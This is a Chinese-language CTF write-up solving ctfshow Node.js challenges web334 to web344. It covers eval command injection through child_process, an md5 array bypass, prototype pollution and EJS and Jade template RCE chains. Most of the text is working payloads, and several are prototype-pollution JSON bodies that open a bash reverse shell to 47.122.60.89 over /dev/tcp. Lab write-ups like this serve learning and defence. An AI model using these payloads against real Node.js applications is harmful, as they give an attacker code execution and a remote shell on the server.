NODEJS复习(ctfshow334-344)

NODEJS复习

web334

下载源码代码审计

发现账号密码

代码逻辑

var findUser = function(name, password){

return users.find(function(item){

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

});

};

名字不等于ctfshow和toUpperCase()转化为大写相等

Web335

页面发现eval参数的get传参

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为"eval(string)";如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

构造payload:

?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

Web336

构造payload:

?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()

?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

Web337

a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

要求md5(a+flag)===md5(b+flag)hash值相等,a和b的长度也相等

payload:?a[a]=2&b[b]=2

Web338

可以看到,如果secert.ctfshow==='36dboy'那我就能得到flag。secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断secert.ctfshow==='36dboy'时,找不到ctfshow,会从Object里面找。

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

var flag='flag_here';

var secert = {};

var sess = req.session;

let user = {};

utils.copy(user,req.body);

if(secert.ctfshow==='36dboy'){

res.end(flag);

}else{

return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});

}

});

Payload:

{"username":"aa","password":"aa",

"proto":{"ctfshow":"36dboy"}}

Web339 变量覆盖query

原型链生成

var o = {a: 1};

// o对象直接继承了Object.prototype

// 原型链:

// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];

// 数组都继承于 Array.prototype

// 原型链:

// a ---> Array.prototype ---> Object.prototype ---> null

function f(){

return 2;

}

// 函数都继承于 Function.prototype

// 原型链:

// f ---> Function.prototype ---> Object.prototype ---> null

代码审计

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

var flag='flag_here';

var secert = {};

var sess = req.session;

let user = {};

utils.copy(user,req.body);

if(secert.ctfshow===flag){

res.end(flag);

}else{

return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});

}

secert.ctfshow===flag,flag='flag_here'

Function(query)(query)可以执行query对应的指令,我们可以使用变量覆盖,将query的值作为反弹shell的点

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

res.render('api', { query: Function(query)(query)});

});

解题过程:先抓包访问/login,实现query值的覆盖,再访问/api来执行query的值。

Payload

{"proto":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"')"}}

flag在./routes/login.js里:

Web340

污染两级__proto__

router.post('/', require('body-parser').json(),function(req, res, next) {

res.type('html');

var flag='flag_here';

var user = new function(){

this.userinfo = new function(){

this.isVIP = false;

this.isAdmin = false;

this.isAuthor = false;

};

}

utils.copy(user.userinfo,req.body);

if(user.userinfo.isAdmin){

res.end(flag);

}

需要满足 user.userinfo.isAdmin为真。

依然可以利用 utils.copy(user.userinfo,req.body),这里并不能直接传入

{"proto":{"isAdmin":true}} 因为查找顺序的原因,找到userinfo这一级直接就找到了isAdmin 为false。

userinfo 的原型不是 Object 对象, userinfo.proto.proto 才是 Object 对象

这里可以向上污染两级,利用api.js 里的query参数rce

污染一级的话,user是查找不到我们构造的query的 user.query不可控

Payload:

{"username":"a","password":"a","proto":{"proto":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4455 0>&1\"'); //"}}}

反弹shell

Web341

用的是web339的ejs rce,不过要和web340一样嵌套一下。payload:

{"proto":{"proto":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"');var _llama2"}}}

web342

这次模板引擎改为了jade。

我们使用jade rce链构造payload:

{"proto":{"proto":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"')"}}}

在用burp发送之前要把请求头中的"Content-Type"改为"application/json"。

反弹shell

Web343

这次模板引擎改为了jade。

我们使用jade rce链构造payload:

{"proto":{"proto":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.122.60.89/4444 0>&1\"')"}}}

在用burp发送之前要把请求头中的"Content-Type"改为"application/json"。

Web344

代码审计

router.get('/', function(req, res, next) {

res.type('html');

var flag = 'flag_here';

if(req.url.match(/8c|2c|\,/ig)){

res.end('where is flag :)');

}

var query = JSON.parse(req.query.query);

if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){

res.end(flag);

}else{

res.end('where is flag. :)');

}

});

if(req.url.match(/8c|2c|\,/ig))过滤逗号绕过+url编码绕过

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

相关推荐
Clockwiseee1 小时前
php伪协议
windows·安全·web安全·网络安全
Lspecialnx_6 小时前
文件解析漏洞中间件(iis和Apache)
网络安全·中间件
学习溢出7 小时前
【网络安全】逆向工程 练习示例
网络·安全·网络安全·渗透测试·逆向工程
孤独的履行者10 小时前
入门靶机:DC-1的渗透测试
数据库·python·网络安全
Blankspace学11 小时前
Wireshark软件下载安装及基础
网络·学习·测试工具·网络安全·wireshark
CVE-柠檬i15 小时前
Yakit靶场-高级前端加解密与验签实战-全关卡通关教程
网络安全
轨迹H1 天前
kali设置中文输入法
linux·网络安全·渗透测试·kali
cr.sheeper1 天前
Vulnhub靶场Apache解析漏洞
网络安全·apache
Autumn.h1 天前
文件解析漏洞
web安全·网络安全·中间件